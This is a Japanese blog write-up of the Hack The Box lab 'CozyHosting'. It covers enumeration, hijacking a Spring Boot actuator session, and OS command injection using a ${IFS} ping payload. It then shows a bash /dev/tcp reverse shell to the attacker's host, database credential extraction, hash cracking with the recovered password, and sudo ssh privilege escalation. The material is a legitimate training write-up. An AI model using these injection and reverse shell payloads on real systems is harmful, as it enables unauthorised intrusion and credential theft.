家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】cozyhosting

目次

 

 

 

偵察/スキャン

nmapでスキャンします。

-p-でスキャンし、確認できたTCP/22およびTCP/80に詳細なスキャンを行います。

┌──(kali㉿kali)-[~/htb/cozyhosting]
└─$ nmap -sC -sV -A -O -p22,80 10.10.11.230                                          
Starting Nmap 7.94SVN ( https://nmap.org )
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for cozyhosting.htb (10.10.11.230)
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (96%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   184.25 ms 10.10.14.1
2   184.45 ms cozyhosting.htb (10.10.11.230)

 

TCP/80の調査

/etc/hostsにcozyhosting.htbを登録しアクセスします。

ブラウザでアクセスした様子

gobusterでディレクトリを探索します。

┌──(kali㉿kali)-[~/htb/cozyhosting]
└─$ gobuster dir --url http://cozyhosting.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cozyhosting.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 12706]
/login                (Status: 200) [Size: 4431]
/admin                (Status: 401) [Size: 97]
/logout               (Status: 204) [Size: 0]
/error                (Status: 500) [Size: 73]

 

gobusterでvhostを探索します。

┌──(kali㉿kali)-[~/htb/cozyhosting]
└─$ gobuster vhost -u http://cozyhosting.htb --domain cozyhosting.htb --append-domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://cozyhosting.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 114441 / 114442 (100.00%)
===============================================================
Finished
===============================================================な

なにも見つかりませんでした。

 

/errorにアクセスしてみると以下のようなページが表示されます。

/error

上記ページの文言で検索してみると「Spring Boot」を使用していそうなことがわかります。

Google検索

さらにワードリストを変えてディレクトリを探索します。

┌──(kali㉿kali)-[~/htb/cozyhosting]
└─$ gobuster dir --url http://cozyhosting.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/spring-boot.txt        
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cozyhosting.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/spring-boot.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/actuator             (Status: 200) [Size: 634]
/actuator/env         (Status: 200) [Size: 4957]
/actuator/env/lang    (Status: 200) [Size: 487]
/actuator/env/home    (Status: 200) [Size: 487]
/actuator/env/path    (Status: 200) [Size: 487]
/actuator/health      (Status: 200) [Size: 15]
/actuator/mappings    (Status: 200) [Size: 9938]
/actuator/beans       (Status: 200) [Size: 127224]
/actuator/sessions    (Status: 200) [Size: 48]
Progress: 112 / 113 (99.12%)
===============================================================
Finished
===============================================================

/actuatorが見つかります。

アクセス取得

/actuator/sessionsにアクセスすると、アクセス中のユーザのセッション情報が確認できます。

/actuator/sessions

上記の値を使いセッションハイジャックを行います。
Firefoxの開発者ツールを開き「ストレージ」-「Cookie」に上記の内容を入力し、ページを更新、または更新/adminにアクセスするとログイン後のダッシュボードが表示されます。

Firefox開発者ツールよりクッキーの編集

ログイン後の画面



上記のページの下の方には入力フォームがあり、これを実行すると/executesshにPOSTされるようです。
SSHができるようですが、.ssh/authorized_keysに登録されている必要があるようです。

フォームに関するNote

リクエストの内容

 

KaliへのSSH接続(失敗)

このフォームでは「ssh -i [key] [username]@[hostname]」のコマンドを実行しているようですが、空白は含められません。

空白入力時のエラー

上記の問題について、「${IFS}」を使用します。
「${IFS}」は、Linuxシェルスクリプトやコマンドラインで使用される特殊な変数で、「Internal Field Separator(内部フィールド区切り)の略です。
この変数は、シェルが単語を分割する際に使用する区切り文字を定義します。
上記を使ってコマンドを組みたてます。

test;ping${IFS}-c${IFS}1${IFS}10.10.14.6;#

 

OSコマンドインジェクション

 

ping受信

pingを実行できていることが確認できました。この機能を使用してリバースシェルを取得します。

以下のコマンドでペイロードを作成します。

echo "bash -i >& /dev/tcp/10.10.14.6/4444 0>&1" | base64 -w 0

 

上記のコマンドをechoの後に入力し、フォームより実行します。

フォーム入力

上記実行でリバースシェルが取得できました。

appのシェル取得

取得したシェルではuserフラグは獲得できませんでした。
別ユーザへの横展開をするために情報を収集します。

jarファイルの確認

 

joshを確認

「josh」がいることが確認できました。
また、確認できたjarファイルを調査します。

 

jd-gui

上記のファイルにPostgreSQLのアカウント情報が含まれていることが確認できました。
上記のアカウントを使用してPostgreSQLに接続します。

\l:テーブル情報の確認

 

user情報の取得

 

上記で取得したhash値を解析すると「manchesterunited」が取得できます。

hashcat実行

解析結果

 

取得したアカウント情報でssh接続するとユーザーフラグが取得できました。

joshのシェルを取得

 

権限昇格

joshで「sudo -l」を実行するとsshがroot権限で実行できるようです。

sudo -l実行結果

以下のサイトで権限昇格の情報を確認し、実行するとrootが取得できました。

gtfobins.github.io

root取得

 

その他

zenn.dev